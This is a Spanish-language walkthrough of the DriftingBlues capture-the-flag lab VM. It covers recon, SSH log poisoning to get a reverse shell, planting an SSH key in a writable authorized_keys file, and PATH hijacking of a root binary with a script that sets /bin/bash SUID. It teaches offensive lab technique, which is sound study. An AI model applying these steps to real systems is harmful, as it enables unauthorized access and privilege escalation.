Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-10 11:50 EDT
Nmap scan report for 192.168.28.18
Host is up (0.0011s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
| 256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
|_ 256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/eventadmins
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:0E:A1:B3 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds
Veremos que hay una pagina web alojada en el puerto 80 que si entramos veremos una pagina normal, por lo que vamos a intentar entrar al robots.txt a ver que nos encontramos.
URL = http://<IP>/robots.txt
Info:
User-agent: *
Disallow: /eventadmins
Veremos que hay un directorio llamado /eventadmins que si entramos dentro de el veremos esto otro:
man there's a problem with ssh
john said "it's poisonous!!! stay away!!!"
idk if he's mentally challenged
please find and fix it
also check /littlequeenofspades.html
your buddy, buddyG
Vemos lo que parece ser un archivo HTML en el que si probamos a entrar a el veremos esto otro:
URL = http://<IP>/littlequeenofspades.html
Info:
Now, she is a little queen of spades, and the men will not let her be
Mmmm, she is the little queen of spades, and the men will not let her be
Everytime she makes a spread, hoo fair brown, cold chill just runs all over me
I'm gon' get me a gamblin' woman, if the last thing that I do
Eee, gon' get me a gamblin' woman, if it's the last thing that I do
Well, a man don't need a woman, ooh fair brown, that he got to give all his money to
Everybody say she got a mojo, now she's been usin' that stuff
Mmmm, mmmm, 'verybody says she got a mojo, 'cause she been usin' that stuff
But she got a way trimmin' down, hoo fair brown, and I mean it's most too tough
Now, little girl, since I am the king, baby, and you is a queen
Ooo eee, since I am the king baby, and you is a queen
Le's us put our heads together, hoo fair brown, then we can make our money green
Si inspeccionamos la pagina veremos esta linea bastante interesante:
Veremos que hay otro mensaje codificado de nuevo, por lo que lo decodificaremos de la siguiente forma:
echo "L2FkbWluc2ZpeGl0LnBocA==" | base64 -d
Info:
/adminsfixit.php
Vemos lo que parece ser otro archivo en la pagina web, vamos a probar a meternos de esta forma:
URL = http://<IP>/adminsfixit.php
Info:
#######################################################################
ssh auth log
============
i hope some wacky and uncharacteristic thing would not happen
this job is fucking poisonous and im boutta planck length away from quitting this hoe
-abuzer komurcu
#######################################################################
............................<RESTO_DE_LOGS>.......................................
Apr 10 10:57:01 driftingblues CRON[2018]: pam_unix(cron:session): session opened for user root by (uid=0) Apr 10 10:57:01 driftingblues CRON[2018]: pam_unix(cron:session): session closed for user root Apr 10 10:58:01 driftingblues CRON[2023]: pam_unix(cron:session): session opened for user root by (uid=0)
Vemos que nos esta mostrando de forma repetitiva que se esta abriendo una sesion de root, por lo que vamos a probar a intentar injectar algun comando para ver si se muestra de forma ejecutada.
Vamos a realizar un LOG POISONING mediante SSH ya que vemos que se esta realizando una conexion por SSH y cuando intentamos inciciar sesion por SSH se muestra el nombre de usuario, por lo que vamos a intentar injectar comandos mediante el nombre de usuario:
Pero antes de enviar eso por la URL nos pondremos a la escucha para obtener la shell:
nc -lvnp <PORT>
Y si enviamos el payload, volveremos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.28.19] from (UNKNOWN) [192.168.28.18] 53660
bash: cannot set terminal process group (512): Inappropriate ioctl for device
bash: no job control in this shell
www-data@driftingblues:/var/www/html$ whoami
whoami
www-data
Veremos que ha funcionado, por lo que tendremos que sanitizar la shell:
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user robertj
Si vamos a la /home y listamos en cuales podremos entrar veremos lo siguiente:
total 16
drwxr-xr-x 4 root root 4096 Jan 4 2021 .
drwxr-xr-x 18 root root 4096 Dec 17 2020 ..
drwx------ 2 root root 4096 Jan 4 2021 lost+found
drwxr-xr-x 3 robertj robertj 4096 Jan 7 2021 robertj
Vemos que podemos entrar en la carpeta de la /home del usuario robertj y si listamos dentro veremos lo siguiente:
total 16
drwxr-xr-x 3 robertj robertj 4096 Jan 7 2021 .
drwxr-xr-x 4 root root 4096 Jan 4 2021 ..
drwx---rwx 2 robertj robertj 4096 Jan 4 2021 .ssh
-r-x------ 1 robertj robertj 33 Jan 7 2021 user.txt
Vemos que tambien podemos entrar en el .ssh de dicho usuario, por lo que podremos aprovechar esto para meter nuestra clave PEM de nuestro host y poder conectarnos por SSH sin necesidad de ingresar la contraseña de dicho usuario, pudiendo autenticarnos como el, por lo que haremos lo siguiente:
MAQUINA HOST
ssh-keygen -t rsa -b 2048
Info:
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa.
Your public key has been saved in id_rsa.pub.
The key fingerprint is:
SHA256:QIVmdgs/c+NKnUDfqu7uGo57U/PdZf+6YdIKi6HAAH8 root@kali
The key's randomart image is:
+---[RSA 2048]----+
| .o. |
| .* o |
|. +.= o . |
| o .* + . |
| o E SB + |
| + + = . o|
| o .o.=....+o.|
| +oooo.o.+...|
| oo+B* . . ooo|
+----[SHA256]-----+
Ahora que hemos generado esto en la carpeta .ssh/ vamos a copiarnos el contenido de la clave publica y pasarnosla un archivo que tendremos que llamar como authorized_keys, para que asi nos podamos conectar desde nuestro host:
Ahora en la maquina victima le pegaremos dicho contenido dentro de la carpeta .ssh/ de la carpeta robertj:
nano /home/robertj/.ssh/authorized_keys
#Dentro del nano
<ID_RSA.pub>
Echo esto desde nuestro host vamos a conectarnos con dicho usuario con nuestra clave PEM desde el host.
ssh -i ~/.ssh/id_rsa robertj@<IP>
Info:
Linux driftingblues 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
robertj@driftingblues:~$ whoami
robertj
Con esto veremos que ha funcionado, por lo que leeremos la flag del usuario.
###################
ip address
###################
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
link/ether 08:00:27:0e:a1:b3 brd ff:ff:ff:ff:ff:ff
inet 192.168.28.18/24 brd 192.168.28.255 scope global dynamic enp0s3
valid_lft 367sec preferred_lft 367sec
inet6 fe80::a00:27ff:fe0e:a1b3/64 scope link
valid_lft forever preferred_lft forever
###################
hosts
###################
127.0.0.1 localhost
127.0.1.1 driftingblues
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
###################
os info
###################
Linux driftingblues 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux
Vemos que se estan ejecutando varios comandos y nos muestra la salida, pero vamos a ver si utiliza rutas absolutas dentro del binario.
cat /usr/bin/getinfo
Info:
.............................<CODIGO_COMPILADO>...................................
ip address
###################
^@ip a^@^@^@^@^@^@^@^@###################
hosts
###################
^@cat /etc/hosts^@^@^@###################
os info
###################
uname -a
.............................<CODIGO_COMPILADO>...................................
Vemos que mas o menos estamos viendo los comandos que esta utilizando, y no esta utilizando rutas absolutas por lo que podremos realizar la tecnica llamada PATH hijacking/binary hijacking con el binario ip en este caso.
Vamos a crear un script que ponga permisos SUID a la bash de la siguiente forma:
nano /tmp/ip
#Dentro del nano
#!/bin/bash
chmod u+s /bin/bash
echo "Permisos establecidos de forma correcta!"
Lo guardamos y ahora vamos a modificar el PATH para que cuando lo ejecutemos es ejecute como root el script llamado ip por lo que tendremos que poner que primero vaya a la ruta /tmp para que funcione:
Veremos que ha funcionado, por lo que vamos a ejecutar de nuevo el binario:
/usr/bin/getinfo
Info:
###################
ip address
###################
Permisos establecidos de forma correcta!
###################
hosts
###################
..........................<RESTO_CODIGO>.........................................